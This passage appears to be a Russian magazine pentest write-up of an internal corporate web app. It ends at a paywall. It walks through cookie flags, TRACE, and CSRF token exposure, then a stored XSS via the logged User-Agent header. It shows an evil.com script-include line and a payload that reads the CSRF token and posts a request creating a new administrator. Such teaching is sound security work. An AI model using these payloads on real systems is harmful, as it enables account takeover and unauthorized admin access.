Я работаю в большой организации, и, как положено большой организации, у нас есть внутренние веб-приложения, которые реализуют довольно ответственную бизнес-логику. Именно о таком приложении мы сегодня и поговорим: проведем его анализ защищенности, найдем парочку уязвимостей и навсегда уясним, как не стоит хранить бэкапы. Сразу скажу, данное веб-приложение не имеет доступа в интернет и все найденные уязвимости уже устранены.

 

Разведка

Итак, приступим. Рабочая директория этого веб-приложения — /sflat/, и туда нас посылает заголовок Location в ответе сервера со статус-кодом 302 в случае обращения к корневой директории (рис. 1).

Рис. 1. Обращение к корневой директории
Рис. 1. Обращение к корневой директории

При обращении к этой директории происходит еще одно перенаправление на HTTPS-версию, которая использует самоподписанный сертификат (рис. 2).

Рис. 2. Перенаправление на HTTPS-версию сервиса
Рис. 2. Перенаправление на HTTPS-версию сервиса

Как видишь, сервер отвечает статус-кодом 302 и в ответе присутствует заголовок Set-Cookie, что небезопасно: при таком алгоритме выдачи идентификатора сессии его можно перехватить во время получения идентификатора по протоколу HTTP. Для этого достаточно просто реализовать MITM-атаку (встав посередине между клиентом и сервером) и прослушать трафик.
Но спешу тебя заверить: такой фокус не проходит, потому что, когда на HTTPS-версию сервиса обращаются с идентификатором, выданным ранее по HTTP, сервер не принимает данный идентификатор и еще раз выставляет заголовок Set-Cookie с новым идентификатором и такими же флагами.

И что такого в HTTPS-версии сервиса, как нам это помешает? А помешает нам это тем, что провести XSS-атаку с подгружаемым с HTTP-домена внешним скриптом не получится:

<script src="http://evil.com/evil.js"></script>

Если мы подгрузим такой скрипт с HTTP-домена, то более-менее современный браузер клиента ругнется на mixed content, не загрузит и не выполнит его (рис. 3).

Рис. 3. Блокировка HTTP-контента на сайтах, использующих HTTPS
Рис. 3. Блокировка HTTP-контента на сайтах, использующих HTTPS

Тогда у нас не остается выбора, кроме как подгружать внешний скрипт с HTTPS-домена, но самоподписанный сертификат тут не пройдет, и нам придется покупать сертификат.

Идем дальше. При обращении к директории /sflat/ запрос обрабатывает скрипт /sflat/index.php, который просит нас ввести свои учетные данные (они у нас есть, для теста на проникновение была предоставлена учетная запись с административными правами, тестируем методом серого ящика). Так выглядит страница аутентификации (рис. 4).

Рис. 4. Страница аутентификации
Рис. 4. Страница аутентификации

Первым делом начнем с того, что узнаем как можно больше об исследуемой системе, посмотрим на эту же страницу аутентификации в raw-формате (рис. 5).

Рис. 5. Код страницы аутентификации
Рис. 5. Код страницы аутентификации

Какие выводы мы можем сделать на данном этапе:

  1. Сервер не выдает информацию о себе. Мы видим, что это Apache, но не знаем, какой версии и в какой ОС он работает (заголовок Server можно изменить, так что полностью доверять ему не стоит).
  2. Значение заголовка Set-Cookie говорит нам о том, что PHPSESSID (сессионный идентификатор пользователя) должен передаваться только по протоколу HTTPS (флаг secure) и перехватить его, прослушивая трафик, не получится, как и получить его значение с помощью XSS (флаг HttpOnly), если, конечно, на сервере запрещен метод Trace. Ведь если метод Trace доступен, тогда возможно провести атаку XST и считать Cookie, даже если они защищены флагом HttpOnly.
  3. Заголовок CSP (Content Security Policy) не используется, а данная технология позволяет четко задать список ресурсов, с которых возможно загружать скрипты, стили, фреймы и прочее. Кстати, во второй версии CSP можно даже указать хеш-сумму скрипта, который может быть исполнен. Значит, все-таки стоит подумать об XSS.
  4. Объявлен тип строгого синтаксиса XHTML, поэтому забываем об атаке RPO (Relative Path Overwrite):

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" ... >

  5. Данное приложение использует библиотеку jQuery, а это значит, что XSS для нас сильно упрощается, так как мы можем использовать короткие и емкие методы jQuery (write less, do more — так вроде звучит их слоган), в случае если у нас будет ограниченный размер полезной нагрузки.
 

Атака на клиентов веб-приложения

Обычно тест на проникновение в таких закрытых системах я начинаю с проведения атак на клиентов, так как их защитой обычно пренебрегают. Но, как видно из первичного анализа, не стоит ожидать особо больших результатов при проведении атак на клиентов этого веб-приложения.

 

XSS

При упоминании атак на клиентов первое, что приходит в голову, — это XSS-атаки, которые существуют благодаря недостаточному или полному отсутствию фильтрации вывода данных на страницу.

Как правило, одна из основных целей XSS атак — это угон сессий. Узнаем, сможем ли мы украсть PHPSESSID. Исходя из того, что мы уже знаем, у нас есть шанс украсть данный идентификатор, только если метод Trace доступен на сервере.

Рис. 6. Запрос методом Trace
Рис. 6. Запрос методом Trace

Как видно из рис. 6, сервер запрещает использование метода Trace, так что мы забываем об атаке XST и пока что забываем об XSS.

 

CSRF

Следующее важное звено в атаках на клиентов — это CSRF. Ситуация та же: все важные формы защищены с помощью CSRF-токена. Но данный токен выдается один раз на всю сессию пользователя, и, что самое интересное, разработчики с помощью JavaScript могут получить его значение — а если они могут, то и мы сможем (рис. 7).

Рис. 7. Получение значения CSRF-токена в исходном коде страницы
Рис. 7. Получение значения CSRF-токена в исходном коде страницы
 

Проведение атаки

Итак, что у нас есть на данный момент: мы можем получить значение CSRF-токена, который не протухает в течение всей пользовательской сессии, с помощью XSS. Осталось только ее найти. Что я только не делал, как только не пробовал инъектировать client-side код в выводимые пользователю страницы, как много времени у меня ушло на поиск отраженных XSS, но ничего не выходило!

Однако через некоторое время я натолкнулся на интересную вкладку под названием «История изменений» (рис. 8).

Рис. 8. Вкладка «История изменений»
Рис. 8. Вкладка «История изменений»

В этой вкладке ведется история всех изменений в сервисе, но, кроме того, в историю записываются факты аутентификации: кто, когда, с какого IP-адреса и с каким User-Agent зашел (рис. 9).

Рис. 9. Сохранение в истории факта входа пользователя в систему
Рис. 9. Сохранение в истории факта входа пользователя в систему

А существует ли фильтрация строки User-Agent? Проверим это с помощью дополнения Modify Headers. Изменим User-Agent браузера, в качестве наиболее короткого примера выберем строку User-Agent для браузера Internet Explorer в Windows XP: Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) — всего 46 байт, а в качестве проверки на наличие фильтров добавим к данной строке следующее:

<script>console.log(document.cookie)</script>

Данный скрипт выведет в консоль браузера текущие Cookie пользователя. Мы специально не пользуемся функциями alert и prompt, поскольку они могут нас скомпрометировать, когда администратор сервиса будет просматривать вкладку «История изменений». Получаем еще 45 байт, итого 91 байт полезной нагрузки. Так выглядит получившийся User-Agent в Modify Headers (рис. 10).

Рис. 10. Строка User-Agent в Modify Headers
Рис. 10. Строка User-Agent в Modify Headers

А теперь проверим, фильтрует ли приложение строку User-Agent. Для этого заново проходим аутентификацию в сервисе с уже измененным значением заголовка User-Agent, открываем консоль браузера и переходим во вкладку «История изменений» (рис. 11).

Рис. 11. Проверка фильтрации строки User-Agent
Рис. 11. Проверка фильтрации строки User-Agent

Как видим, в консоли браузера появилось значение CSRF-TOKEN=…, а это значит, что наша полезная нагрузка отработала, при этом строка в истории говорит о том, что пользователь просто вошел в систему с использованием браузера Internet Explorer в Windows XP.

Итого на данный момент получаем следующее: хранимая XSS с условием, что злоумышленник пройдет аутентификацию, а администратор просмотрит историю изменений. Не так уж и плохо!

Теперь придумаем коварную полезную нагрузку. Первое, что приходит в голову, — создать нового администратора в приложении. Что для этого нужно:

  1. Пользователь с административными правами в сервисе должен просмотреть строку в истории изменений, в которой будет содержаться наша полезная нагрузка.
  2. Нам необходимо узнать спецификацию запроса на добавление нового пользователя с административными правами.
  3. Размер полезной нагрузки не должен превышать длины буфера, который используется для вывода строки User-Agent.

Длину буфера, который хранит строку с User-Agent, мы не знаем, а чтобы узнать, нам придется отправить длинную строку в заголовке User-Agent на этапе аутентификации в приложении, что нас сразу же выдаст, если администратор просмотрит историю. Раз мы не можем узнать длину буфера, просто ориентируемся на минимальный объем полезной нагрузки, который только получится.

Административные права в приложении у нас есть, так как нам предоставлена админская учетная запись в целях тестирования, а спецификацию запроса сейчас узнаем. Для этого попробуем создать пользователя и перехватим запрос к серверу с помощью Burp Suite (рис. 12).

Рис. 12. Запрос на добавление нового пользователя
Рис. 12. Запрос на добавление нового пользователя

Теперь есть все необходимое для создания полезной нагрузки на JavaScript, которая создаст нового администратора в сервисе:

  1. В запросе на добавление пользователя присутствует значение CSRF-токена (второй параметр в теле POST-запроса), данное значение мы можем получить из document.cookie, удалив первые 11 байт: t=document.cookie.substr(11);.
  2. Необходимо отправить POST-запрос, для этого к нам на помощь придет jQuery c методом POST: $.post("/sflat/add.php","mode=add_user&csrf="+t+"...")

В общем, User-Agent будет выглядеть так:

Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)<script>t=document.cookie.substr(11);$.post("/sflat/add.php","mode=add_user&csrf="+t+"...");</script>

Перехватываем в Burp Suite запрос на аутентификацию в сервисе и подменяем User-Agent (рис. 13).

Рис. 13. Подмена User-Agent в Burp Suite
Рис. 13. Подмена User-Agent в Burp Suite

Как видишь, данный запрос должен создать администратора сервиса с именем А, логином АB (ограничение приложения: логин должен содержать от 2 до 20 символов) и паролем А.

Проверим, работает ли наша полезная нагрузка. Для этого опять перейдем во вкладку «История изменений» и откроем вкладку «Network» в консоли браузера, чтобы убедиться, что браузер отправляет POST-запрос на добавление пользователя (рис. 14).

Рис. 14. Отправка запроса на добавление пользователя
Рис. 14. Отправка запроса на добавление пользователя

Запрос был успешно отправлен браузером (получен статус-код 200), а так как наша учетная запись имеет административные права, то новый пользователь был успешно создан. Попробуем аутентифицироваться с новыми учетными данными (рис. 15).

Рис. 15. Аутентификация
Рис. 15. Аутентификация
Рис. 16. Аутентификация пройдена
Рис. 16. Аутентификация пройдена

И у нашей новой учетной записи административные права. Цель достигнута (рис. 17)!

Рис. 17. Список пользователей сервиса
Рис. 17. Список пользователей сервиса

Продолжение статьи доступно только подписчикам

Вариант 1. Оформи подписку на «Хакер», чтобы читать все статьи на сайте

Подписка позволит тебе в течение указанного срока читать ВСЕ платные материалы сайта, включая эту статью. Мы принимаем оплату банковскими картами, электронными деньгами и переводами со счетов мобильных операторов. Подробнее о подписке

Вариант 2. Купи одну статью

Заинтересовала статья, но нет возможности оплатить подписку? Тогда этот вариант для тебя! Обрати внимание: этот способ покупки доступен только для статей, опубликованных более двух месяцев назад.


7 комментариев

Подпишитесь на ][, чтобы участвовать в обсуждении

Обсуждение этой статьи доступно только нашим подписчикам. Вы можете войти в свой аккаунт или зарегистрироваться и оплатить подписку, чтобы свободно участвовать в обсуждении.

Check Also

Обвес macOS. Меняем скрытые настройки, ставим полезный софт и лезем под капот системы, перейдя на «мак»

Уверен, ты не раз слышал, что в Apple всё решают за пользователя и в macOS ничего нельзя т…